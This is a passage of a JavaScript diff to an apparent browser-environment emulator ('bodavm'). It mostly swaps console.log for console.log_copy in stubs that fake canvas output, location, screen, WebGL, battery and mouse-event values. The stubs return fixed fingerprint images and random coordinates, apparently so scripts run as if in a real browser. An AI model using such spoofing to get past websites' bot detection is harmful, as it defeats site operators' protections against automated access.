console.log_copy(`HTMLCanvasElement_width_set `, `width->${width}`); return width } bodavm.envFunc.HTMLCanvasElement_height_set = function HTMLCanvasElement_height_set() { let height = arguments[0] this._bocanvas.height = height - console.log(`HTMLCanvasElement_width_set `, `height->${height}`); + console.log_copy(`HTMLCanvasElement_width_set `, `height->${height}`); return height } bodavm.envFunc.HTMLCanvasElement_toDataURL = function HTMLCanvasElement_toDataURL() { if (this._bocanvas) { let res = this._bocanvas.toDataURL() res._boisinit=true - console.log(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); + console.log_copy(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); return res // return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAQCAYAAABQrvyxAAAAAXNSR0IArs4c6QAAAjZJREFUSEvFlr9L1lEUxj8ujbU66GJ7DuGgc4lbUThJEG41uCm5hRBEPwhcMggSbE3dGpxcapAGEfoHInNoKZpcikfOgePx3O/7Dr52l+/7vfd7zz3Pc57n3HeI0+NvetfrkM1pzX8Xn1341CTwsErIE80JZ3CDBDMKfAAmEi3bwH3gF3AGQMW+78/J/o9q3AFuAg8sqbICFetRQpGQQVYg6/EKsA5sAgJy2z7YrpjNm1seiGAXgVngKbAMLACfAc0/A9YCc4ov9jaAq55IkEZlJsUZK2Kc8UBXBRS48oEYkV41pNF9YBx4DdyzRJ8EUK5vgRWjzu4n4HmRvZKfMoCXkzfKCvTDeGZf7OzY4dLpMPAH2AJ+AKsBQATslYlJyqAaDvRLYt4xdppYIJzt+Nvbalzzg7QmViWZl8C0JT2SALiEIqgMQNW7DtwFvjUadAnAk41Pl0619tiC+1PsPgLeAdeMOR0Uk9UW/84TrCoQmY5+8fklSS6auNVGcwUiIe+BXeCtTXpi30370ngE8NW6ibrIXmC4BSAD9bPdN0e9WmFXv9faETBjxnVmZeiYXASgb8S6DKtK9aqApCRviYg8FHelVYF+PaDg0roPN2hsm60KnEjANnZVQJ5SN1Nb7qxA/gsR2a/WxP488LFhsvOazneGx1X1NnMFslFj1/E19eLfFqWXBM8LRDNOlcAl4LixYw54AbwBvPMMPMmuAyoAt+zW+wkc2n2gK/8GcAC8ugDZ9E3KP5vHqyrasecsAAAAAElFTkSuQmCC' } else { debugger res = bodavm.memory.userInit.canvas_webgl res._boisinit=true - console.log(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); + console.log_copy(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); return res // return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAQCAYAAABQrvyxAAAAAXNSR0IArs4c6QAAAjZJREFUSEvFlr9L1lEUxj8ujbU66GJ7DuGgc4lbUThJEG41uCm5hRBEPwhcMggSbE3dGpxcapAGEfoHInNoKZpcikfOgePx3O/7Dr52l+/7vfd7zz3Pc57n3HeI0+NvetfrkM1pzX8Xn1341CTwsErIE80JZ3CDBDMKfAAmEi3bwH3gF3AGQMW+78/J/o9q3AFuAg8sqbICFetRQpGQQVYg6/EKsA5sAgJy2z7YrpjNm1seiGAXgVngKbAMLACfAc0/A9YCc4ov9jaAq55IkEZlJsUZK2Kc8UBXBRS48oEYkV41pNF9YBx4DdyzRJ8EUK5vgRWjzu4n4HmRvZKfMoCXkzfKCvTDeGZf7OzY4dLpMPAH2AJ+AKsBQATslYlJyqAaDvRLYt4xdppYIJzt+Nvbalzzg7QmViWZl8C0JT2SALiEIqgMQNW7DtwFvjUadAnAk41Pl0619tiC+1PsPgLeAdeMOR0Uk9UW/84TrCoQmY5+8fklSS6auNVGcwUiIe+BXeCtTXpi30370ngE8NW6ibrIXmC4BSAD9bPdN0e9WmFXv9faETBjxnVmZeiYXASgb8S6DKtK9aqApCRviYg8FHelVYF+PaDg0roPN2hsm60KnEjANnZVQJ5SN1Nb7qxA/gsR2a/WxP488LFhsvOazneGx1X1NnMFslFj1/E19eLfFqWXBM8LRDNOlcAl4LixYw54AbwBvPMMPMmuAyoAt+zW+wkc2n2gK/8GcAC8ugDZ9E3KP5vHqyrasecsAAAAAElFTkSuQmCC' } @@ -5408,20 +5748,20 @@ bodavm.memory.Performance={ bodavm.envFunc.CanvasRenderingContext2D_textBaseline_set = function CanvasRenderingContext2D_textBaseline_set() { let textBaseline = arguments[0] this._bocanvas.textBaseline = textBaseline - console.log(`CanvasRenderingContext2D_textBaseline_set `, `textBaseline->${textBaseline}`); + console.log_copy(`CanvasRenderingContext2D_textBaseline_set `, `textBaseline->${textBaseline}`); return textBaseline } bodavm.envFunc.CanvasRenderingContext2D_font_set = function CanvasRenderingContext2D_font_set() { let font = arguments[0] this._bocanvas.font = font - console.log(`CanvasRenderingContext2D_font_set `, `font->${font}`); + console.log_copy(`CanvasRenderingContext2D_font_set `, `font->${font}`); return font } bodavm.envFunc.CanvasRenderingContext2D_fillStyle_set = function CanvasRenderingContext2D_fillStyle_set() { let fillStyle = arguments[0] this._bocanvas.fillStyle = fillStyle - console.log(`CanvasRenderingContext2D_fillStyle_set `, `fillStyle->${fillStyle}`); + console.log_copy(`CanvasRenderingContext2D_fillStyle_set `, `fillStyle->${fillStyle}`); return fillStyle } bodavm.envFunc.CanvasRenderingContext2D_fillRect = function CanvasRenderingContext2D_fillRect() { @@ -5430,7 +5770,7 @@ bodavm.memory.Performance={ let arg2 = arguments[2] let arg3 = arguments[3] this._bocanvas.fillRect(arg0, arg1, arg2, arg3) - console.log(`CanvasRenderingContext2D_fillRect `, `fillRect->${arg0},${arg1},${arg2},${arg3}`); + console.log_copy(`CanvasRenderingContext2D_fillRect `, `fillRect->${arg0},${arg1},${arg2},${arg3}`); } bodavm.envFunc.CanvasRenderingContext2D_fillText = function CanvasRenderingContext2D_fillText() { @@ -5438,7 +5778,7 @@ bodavm.memory.Performance={ let arg1 = arguments[1] let arg2 = arguments[2] this._bocanvas.fillText(arg0, arg1, arg2) - console.log(`CanvasRenderingContext2D_fillText`, `fillText->${arg0},${arg1},${arg2}`); + console.log_copy(`CanvasRenderingContext2D_fillText`, `fillText->${arg0},${arg1},${arg2}`); } @@ -5448,7 +5788,7 @@ bodavm.memory.Performance={ bodavm.envFunc.location_hash_get = function location_hash_get() { if (bodavm.config.isdebug) { debugger } let hash = bodaobj.location.hash - console.log(`location_hash_get `, `hash_get->${hash} `); + console.log_copy(`location_hash_get `, `hash_get->${hash} `); return hash } @@ -5456,7 +5796,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let arg = arguments[0] bodaobj.location.hash = arg - console.log(`location_hash_set `, `hash_set->${arg} `); + console.log_copy(`location_hash_set `, `hash_set->${arg} `); return arg } @@ -5465,40 +5805,40 @@ bodavm.memory.Performance={ let ancestorOrigins = bodavm.memory.cache['location_ancestorOrigins_get'] ancestorOrigins['0']=bodavm.memory.location.ancestorOrigins['0'] ancestorOrigins.__proto__ = bodavm.memory.globalobj['DOMStringList'].prototype - console.log(`location_ancestorOrigins_get `, `${ancestorOrigins} `) + console.log_copy(`location_ancestorOrigins_get `, `${ancestorOrigins} `) if (bodavm.config.isdebug) { debugger } return ancestorOrigins } bodavm.envFunc.location_toString = function location_toString() { let href_ = bodaobj.location.toString() - console.log(`location_toString `, `${href_} `) + console.log_copy(`location_toString `, `${href_} `) if (bodavm.config.isdebug) { debugger } return href_ } bodavm.envFunc.location_href_get = function location_href_get() { let href = bodaobj.location.href - console.log(`location_href_get `, ` ${href} `) + console.log_copy(`location_href_get `, ` ${href} `) if (bodavm.config.isdebug) { debugger } return href } bodavm.envFunc.location_href_set = function location_href_set() { let href = arguments[0] bodaobj.location.href = href - console.log(`location_href_set `, `${href} `) + console.log_copy(`location_href_set `, `${href} `) if (bodavm.config.isdebug) { debugger } return href } bodavm.envFunc.location_port_set = function location_port_set() { let port = arguments[0] bodaobj.location.port = port - console.log(`location_port_set `, `${port} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_port_set `, `${port} `); if (bodavm.config.isdebug) { debugger }; return port } bodavm.envFunc.location_port_get = function location_port_get() { let port = bodaobj.location.port - console.log(`location_port_get `, `${port} `) + console.log_copy(`location_port_get `, `${port} `) if (bodavm.config.isdebug) { debugger } return port } @@ -5506,14 +5846,14 @@ bodavm.memory.Performance={ bodavm.envFunc.location_protocol_set = function location_protocol_set() { let protocol = arguments[0] bodaobj.location["protocol"] = protocol - console.log(`location_protocol_set `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_protocol_set `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; return protocol } bodavm.envFunc.location_protocol_get = function location_protocol_get() { let protocol = bodaobj.location["protocol"] - console.log(`location_protocol_get `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_protocol_get `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; return protocol } @@ -5521,13 +5861,13 @@ bodavm.memory.Performance={ bodavm.envFunc.location_host_set = function location_host_set() { let host = arguments[0] bodaobj.location.host = host - console.log(`location_host_set `, `${host} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_host_set `, `${host} `); if (bodavm.config.isdebug) { debugger }; return host } bodavm.envFunc.location_host_get = function location_host_get() { let host = bodaobj.location.host - console.log(`location_host_get `, `${host} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_host_get `, `${host} `); if (bodavm.config.isdebug) { debugger }; return host } @@ -5535,13 +5875,13 @@ bodavm.memory.Performance={ bodavm.envFunc.location_hostname_set = function location_hostname_set() { let hostname = arguments[0] bodaobj.location.hostname = hostname - console.log(`location_hostname_set `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_hostname_set `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; return hostname } bodavm.envFunc.location_hostname_get = function location_hostname_get() { let hostname = bodaobj.location.hostname - console.log(`location_hostname_get `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_hostname_get `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; return hostname } @@ -5549,13 +5889,13 @@ bodavm.memory.Performance={ bodavm.envFunc.location_pathname_set = function location_pathname_set() { let pathname = arguments[0] bodaobj.location.pathname = pathname - console.log(`location_pathname_set `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_pathname_set `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; return pathname } bodavm.envFunc.location_pathname_get = function location_pathname_get() { let pathname = bodaobj.location.pathname - console.log(`location_pathname_get `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_pathname_get `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; // debugger return pathname } @@ -5564,11 +5904,11 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let r = arguments[0] // res = bodaobj.location.replace(r) - console.log(`location_replace `, `replace->${r}`,); - console.log(`--------------------页面跳转停止执行--------------------`,); - console.log(`--------------------页面跳转停止执行--------------------`,); - console.log(`--------------------直接执行lastDeal--------------------`,); - console.log(document.cookie) + console.log_copy(`location_replace `, `replace->${r}`,); + console.log_copy(`--------------------页面跳转停止执行--------------------`,); + console.log_copy(`--------------------页面跳转停止执行--------------------`,); + console.log_copy(`--------------------直接执行lastDeal--------------------`,); + console.log_copy(document.cookie) throw ('End', `--------------------直接执行lastDeal--------------------`) @@ -5576,13 +5916,13 @@ bodavm.memory.Performance={ bodavm.envFunc.location_search_set = function location_search_set() { let search = arguments[0] bodavm.memory.location["search"] = search - console.log(`location_search_set `, `${search} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_search_set `, `${search} `); if (bodavm.config.isdebug) { debugger }; return search } bodavm.envFunc.location_search_get = function location_search_get() { let search = bodavm.memory.location["search"] - console.log(`location_search_get `, `${search} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_search_get `, `${search} `); if (bodavm.config.isdebug) { debugger }; return search } @@ -5590,7 +5930,7 @@ bodavm.memory.Performance={ bodavm.envFunc.location_origin_get = function location_origin_get() { let origin = bodaobj.location["origin"] - console.log(`location_origin_get `, `${origin} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_origin_get `, `${origin} `); if (bodavm.config.isdebug) { debugger }; return origin } @@ -5601,13 +5941,13 @@ bodavm.memory.Performance={ bodavm.envFunc.History_scrollRestoration_set = function History_scrollRestoration_set() { let scrollRestoration = arguments[0] bodavm.memory.history["scrollRestoration"] = scrollRestoration - console.log(`History_scrollRestoration_set `, `${scrollRestoration} `) + console.log_copy(`History_scrollRestoration_set `, `${scrollRestoration} `) if (bodavm.config.isdebug) { debugger } return scrollRestoration } bodavm.envFunc.History_scrollRestoration_get = function History_scrollRestoration_get() { let scrollRestoration = bodavm.memory.history["scrollRestoration"] - console.log(`History_scrollRestoration_get `, ` ${scrollRestoration} `) + console.log_copy(`History_scrollRestoration_get `, ` ${scrollRestoration} `) if (bodavm.config.isdebug) { debugger } return scrollRestoration } @@ -5617,75 +5957,75 @@ bodavm.memory.Performance={ bodavm.envFunc.Screen_onchange_set = function Screen_onchange_set() { let onchange = arguments[0] bodavm.memory.screen["onchange"] = onchange - console.log(`Screen_onchange_set `, `${onchange} `) + console.log_copy(`Screen_onchange_set `, `${onchange} `) if (bodavm.config.isdebug) { debugger } return onchange } bodavm.envFunc.Screen_onchange_get = function Screen_onchange_get() { let onchange = bodavm.memory.screen["onchange"] - console.log(`Screen_onchange_get `, `${onchange} `) + console.log_copy(`Screen_onchange_get `, `${onchange} `) if (bodavm.config.isdebug) { debugger } return onchange } bodavm.envFunc.Screen_width_get = function Screen_width_get() { let width = bodavm.memory.screen["width"] - console.log(`Screen_width_get `, `${width} `) + console.log_copy(`Screen_width_get `, `${width} `) if (bodavm.config.isdebug) { debugger } return width } bodavm.envFunc.Screen_height_get = function Screen_height_get() { let height = bodavm.memory.screen["height"] - console.log(`Screen_height_get `, `${height} `) + console.log_copy(`Screen_height_get `, `${height} `) if (bodavm.config.isdebug) { debugger } return height } bodavm.envFunc.Screen_pixelDepth_get = function Screen_pixelDepth_get() { let pixelDepth = bodavm.memory.screen["pixelDepth"] - console.log(`Screen_pixelDepth_get `, `${pixelDepth} `) + console.log_copy(`Screen_pixelDepth_get `, `${pixelDepth} `) if (bodavm.config.isdebug) { debugger } return pixelDepth } bodavm.envFunc.Screen_colorDepth_get = function Screen_colorDepth_get() { let colorDepth = bodavm.memory.screen["colorDepth"] - console.log(`Screen_colorDepth_get `, `${colorDepth} `) + console.log_copy(`Screen_colorDepth_get `, `${colorDepth} `) if (bodavm.config.isdebug) { debugger } return colorDepth } bodavm.envFunc.Screen_availWidth_get = function Screen_availWidth_get() { let availWidth = bodavm.memory.screen["availWidth"] - console.log(`Screen_availWidth_get `, `${availWidth} `) + console.log_copy(`Screen_availWidth_get `, `${availWidth} `) if (bodavm.config.isdebug) { debugger } return availWidth } bodavm.envFunc.Screen_availLeft_get = function Screen_availLeft_get() { let availLeft = bodavm.memory.screen["availLeft"] - console.log(`Screen_availLeft_get `, `${availLeft} `) + console.log_copy(`Screen_availLeft_get `, `${availLeft} `) if (bodavm.config.isdebug) { debugger } return availLeft } bodavm.envFunc.Screen_availTop_get = function Screen_availTop_get() { let availTop = bodavm.memory.screen["availTop"] - console.log(`Screen_availTop_get `, `${availTop} `) + console.log_copy(`Screen_availTop_get `, `${availTop} `) if (bodavm.config.isdebug) { debugger } return availTop } bodavm.envFunc.Screen_orientation_get = function Screen_orientation_get() { let orientation = bodavm.memory.screen["orientation"] - console.log(`Screen_orientation_get `, `${orientation} `) + console.log_copy(`Screen_orientation_get `, `${orientation} `) if (bodavm.config.isdebug) { debugger } Object.setPrototypeOf(orientation, bodavm.memory.globalobj['ScreenOrientation'].prototype) return orientation } bodavm.envFunc.Screen_isExtended_get = function Screen_isExtended_get() { let isExtended = bodavm.memory.screen["isExtended"] - console.log(`Screen_isExtended_get `, `${isExtended} `) + console.log_copy(`Screen_isExtended_get `, `${isExtended} `) if (bodavm.config.isdebug) { debugger } return isExtended } bodavm.envFunc.Screen_availHeight_get = function Screen_availHeight_get() { let availHeight = bodavm.memory.screen["availHeight"] - console.log(`Screen_availHeight_get `, `${availHeight} `) + console.log_copy(`Screen_availHeight_get `, `${availHeight} `) if (bodavm.config.isdebug) { debugger } return availHeight } @@ -5699,7 +6039,7 @@ bodavm.memory.Performance={ let name = arguments[0] let version = arguments[1] - console.log(`IDBFactory_open `, `name->${name} `, `version->${version} `) + console.log_copy(`IDBFactory_open `, `name->${name} `, `version->${version} `) let DB = { _boisinit:bodavm.config.isinit } @@ -5711,14 +6051,14 @@ bodavm.memory.Performance={ bodavm.envFunc.IDBRequest_onerror_set = function IDBRequest_onerror_set() { let onerror = arguments[0] bodavm.memory.IDBRequest['onerror'] = onerror - console.log(`IDBRequest_onerror_set `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onerror_set `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onerror } bodavm.envFunc.IDBRequest_onerror_get = function IDBRequest_onerror_get() { let onerror = bodavm.memory.IDBRequest['onerror'] ? bodavm.memory.IDBRequest['onerror'] : undefined - console.log(`IDBRequest_onerror_get `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onerror_get `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onerror @@ -5727,7 +6067,7 @@ bodavm.memory.Performance={ bodavm.envFunc.IDBOpenDBRequest_onupgradeneeded_set = function IDBOpenDBRequest_onupgradeneeded_set() { let onupgradeneeded = arguments[0] bodavm.memory.IDBOpenDBRequest['onupgradeneeded'] = onupgradeneeded - console.log(`IDBOpenDBRequest_onupgradeneeded_set `, `${onupgradeneeded} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBOpenDBRequest_onupgradeneeded_set `, `${onupgradeneeded} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onupgradeneeded @@ -5737,7 +6077,7 @@ bodavm.memory.Performance={ let onsuccess = arguments[0] bodavm.memory.IDBRequest['onsuccess'] = onsuccess - console.log(`IDBRequest_onsuccess_set `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onsuccess_set `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onsuccess @@ -5746,7 +6086,7 @@ bodavm.memory.Performance={ let onsuccess = bodavm.memory.IDBRequest['onsuccess'] ? bodavm.memory.IDBRequest['onsuccess'] : undefined - console.log(`IDBRequest_onsuccess_get `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onsuccess_get `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onsuccess @@ -5757,7 +6097,7 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let target = this. - console.log(`Event_target_get `, `target->${target} `); + console.log_copy(`Event_target_get `, `target->${target} `); return target } bodavm.envFunc.Event_srcElement_get = function Event_srcElement_get() { @@ -5767,7 +6107,7 @@ bodavm.memory.Performance={ bodavm.envFunc.Event_timeStamp_get = function Event_timeStamp_get() { if (bodavm.config.isdebug) { debugger } let timstamp = bodavm.toolsFunc.getProtoAttr.call(this, "timeStamp"); - console.log(`Event_timeStamp_get `, `:timstamp->${timstamp} `); + console.log_copy(`Event_timeStamp_get `, `:timstamp->${timstamp} `); return timstamp } @@ -5776,63 +6116,64 @@ bodavm.memory.Performance={ if (bodavm.config.isdebug) { debugger } let pageY = Math.ceil(Math.random() * 1000) - console.log(`MouseEvent_pageY_get `, `pageY->${pageY} `); + console.log_copy(`MouseEvent_pageY_get `, `pageY->${pageY} `); return pageY } bodavm.envFunc.MouseEvent_clientY_get = function MouseEvent_clientY_get() { if (bodavm.config.isdebug) { debugger } let clientY = bodavm.toolsFunc.getProtoAttr.call(this, "clientY") - console.log(`MouseEvent_clientY_get `, `clientY->${clientY} `); + console.log_copy(`MouseEvent_clientY_get `, `clientY->${clientY} `); return clientY } bodavm.envFunc.MouseEvent_clientX_get = function MouseEvent_clientX_get() { if (bodavm.config.isdebug) { debugger } let clientX_ = bodavm.toolsFunc.getProtoAttr.call(this, "clientX") - console.log(`MouseEvent_clientX_get `, `clientX_->${clientX_} `); + console.log_copy(`MouseEvent_clientX_get `, `clientX_->${clientX_} `); return clientX_ } bodavm.envFunc.MouseEvent_screenX_get = function MouseEvent_screenX_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_screenX_get !!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`MouseEvent_screenX_get !!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.MouseEvent_screenY_get = function MouseEvent_screenY_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_screenY_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); + console.log_copy(`MouseEvent_screenY_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); } bodavm.envFunc.MouseEvent_button_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_button_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); + console.log_copy(`MouseEvent_button_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); } bodavm.envFunc.MouseEvent_offsetX_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_offsetX_get `,); + console.log_copy(`MouseEvent_offsetX_get `,); } bodavm.envFunc.MouseEvent_offsetY_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_offsetY_get !!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`MouseEvent_offsetY_get !!!!!!!!!未完善!!!!!!!!!!!!`); } bodavm.envFunc.MouseEvent_x_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_x_get !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`MouseEvent_x_get !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.MouseEvent_y_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_y_get !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`MouseEvent_y_get !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.Event_type_get = function Event_type_get() { if (bodavm.config.isdebug) { debugger } - let type = arguments[0] - console.log(`Event_type_get !!!!!!!!!未完善!!!!!!!!!!!!`, `type->${type}`); + let type = this._botype + // debugger + console.log_copy(`Event_type_get ->`, `type->${type}`); // debugger return type @@ -5840,25 +6181,25 @@ bodavm.memory.Performance={ bodavm.envFunc.MouseEvent_pageX_get = function MouseEvent_pageX_get() { if (bodavm.config.isdebug) { debugger } let pageX = Math.ceil(Math.random() * 1000) - console.log(`MouseEvent_pageX_get `, `pageX->${pageX} `); + console.log_copy(`MouseEvent_pageX_get `, `pageX->${pageX} `); return pageX } //BatteryManager bodavm.envFunc.BatteryManager_level_get = function BatteryManager_level_get() { - console.log(`BatteryManager_level_get `, `1 `);; if (bodavm.config.isdebug) { debugger }; + console.log_copy(`BatteryManager_level_get `, `1 `);; if (bodavm.config.isdebug) { debugger }; return 1; } bodavm.envFunc.BatteryManager_chargingTime_get = function BatteryManager_chargingTime_get() { - console.log(`BatteryManager_chargingTime_get `, `0 `);; if (bodavm.config.isdebug) { debugger }; + console.log_copy(`BatteryManager_chargingTime_get `, `0 `);; if (bodavm.config.isdebug) { debugger }; return 0; } bodavm.envFunc.BatteryManager_charging_get = function BatteryManager_charging_get() { // debugger - console.log(`BatteryManager_chargingTime_get `, `true `); + console.log_copy(`BatteryManager_chargingTime_get `, `true `); ; if (bodavm.config.isdebug) { debugger }; return true; @@ -5867,32 +6208,32 @@ bodavm.memory.Performance={ bodavm.envFunc.WebGLRenderingContext_drawingBufferHeight_get = function () { let drawingBufferHeight = 150; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawingBufferHeight_get `, `默认值drawingBufferHeight:${drawingBufferHeight} `); + console.log_copy(`WebGLRenderingContext_drawingBufferHeight_get `, `默认值drawingBufferHeight:${drawingBufferHeight} `); return drawingBufferHeight } bodavm.envFunc.WebGLRenderingContext_drawingBufferWidth_get = function () { let drawingBufferWidth = 300; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawingBufferWidth_get `, `默认值drawingBufferWidth:${drawingBufferWidth} `); + console.log_copy(`WebGLRenderingContext_drawingBufferWidth_get `, `默认值drawingBufferWidth:${drawingBufferWidth} `); return drawingBufferWidth } bodavm.envFunc.WebGLRenderingContext_enableVertexAttribArray = function WebGLRenderingContext_enableVertexAttribArray() { let index = arguments[0]; if (bodavm.config.isdebug) { debugger }; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_enableVertexAttribArray !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} `); + console.log_copy(`WebGLRenderingContext_enableVertexAttribArray !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} `); } bodavm.envFunc.WebGLRenderingContext_getUniformLocation = function WebGLRenderingContext_getUniformLocation() { let program = arguments[0] let name = arguments[1]; - if (bodavm.config.isdebug) { debugger }; console.log(`WebGLRenderingContext_getUniformLocation `, `program:${program} name:${name}`, `!!!!!!!!!未完善!!!!!!!!!!!!`); + if (bodavm.config.isdebug) { debugger }; console.log_copy(`WebGLRenderingContext_getUniformLocation `, `program:${program} name:${name}`, `!!!!!!!!!未完善!!!!!!!!!!!!`); return null } bodavm.envFunc.WebGLRenderingContext_getAttribLocation = function WebGLRenderingContext_getAttribLocation() { let program = arguments[0] let name = arguments[1] - console.log(`WebGLRenderingContext_getAttribLocation `, `program:${program} name:${name} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`WebGLRenderingContext_getAttribLocation `, `program:${program} name:${name} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); if (bodavm.config.isdebug) { debugger }; return null @@ -5900,7 +6241,7 @@ bodavm.memory.Performance={ bodavm.envFunc.WebGLRenderingContext_getShaderPrecisionFormat = function WebGLRenderingContext_getShaderPrecisionFormat() { let shaderType = arguments[0] let precisionType = arguments[1] - console.log(`WebGLRenderingContext_getShaderPrecisionFormat `, `shaderType:${shaderType} precisionType:${precisionType} `); + console.log_copy(`WebGLRenderingContext_getShaderPrecisionFormat `, `shaderType:${shaderType} precisionType:${precisionType} `); if (shaderType == 35633 && precisionType == 36338) { let shade = {} shade._boisinit=true @@ -5915,7 +6256,7 @@ bodavm.memory.Performance={ let v1 = arguments[2] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_uniform2f !!!!!!!!!未完善!!!!!!!!!!!!`, `location:${location} v0:${v0} v1:${v1} `); + console.log_copy(`WebGLRenderingContext_uniform2f !!!!!!!!!未完善!!!!!!!!!!!!`, `location:${location} v0:${v0} v1:${v1} `); } bodavm.envFunc.WebGLRenderingContext_vertexAttribPointer = function WebGLRenderingContext_vertexAttribPointer() { let index = arguments[0] @@ -5926,7 +6267,7 @@ bodavm.memory.Performance={ let offset = arguments[5] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_vertexAttribPointer !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} size:${size} type:${type} normalized:${normalized} stride:${stride} offset${offset} `); + console.log_copy(`WebGLRenderingContext_vertexAttribPointer !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} size:${size} type:${type} normalized:${normalized} stride:${stride} offset${offset} `); } bodavm.envFunc.WebGLRenderingContext_drawArrays = function WebGLRenderingContext_drawArrays() { @@ -5935,19 +6276,19 @@ bodavm.memory.Performance={ let count = arguments[2] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawArrays !!!!!!!!!未完善!!!!!!!!!!!!`, `mode:${mode} first:${first} count:${count} `); + console.log_copy(`WebGLRenderingContext_drawArrays !!!!!!!!!未完善!!!!!!!!!!!!`, `mode:${mode} first:${first} count:${count} `); } bodavm.envFunc.WebGLRenderingContext_useProgram = function WebGLRenderingContext_useProgram() { let program = arguments[0] - console.log(`WebGLRenderingContext_useProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); + console.log_copy(`WebGLRenderingContext_useProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); if (bodavm.config.isdebug) { debugger }; } bodavm.envFunc.WebGLRenderingContext_linkProgram = function WebGLRenderingContext_linkProgram() { let program = arguments[0] - console.log(`WebGLRenderingContext_linkProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); + console.log_copy(`WebGLRenderingContext_linkProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); if (bodavm.config.isdebug) { debugger }; @@ -5957,11 +6298,11 @@ bodavm.memory.Performance={ let shader = arguments[1] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_attachShader !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} shader:${shader} `); + console.log_copy(`WebGLRenderingContext_attachShader !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} shader:${shader} `); } bodavm.envFunc.WebGLRenderingContext_createShader = function WebGLRenderingContext_createShader() { let type = arguments[0] - console.log(`WebGLRenderingContext_createShader `, `${type} `); + console.log_copy(`WebGLRenderingContext_createShader `, `${type} `); if (bodavm.config.isdebug) { debugger }; if (type == 35633) { @@ -5981,20 +6322,20 @@ bodavm.memory.Performance={ let source = arguments[1] if 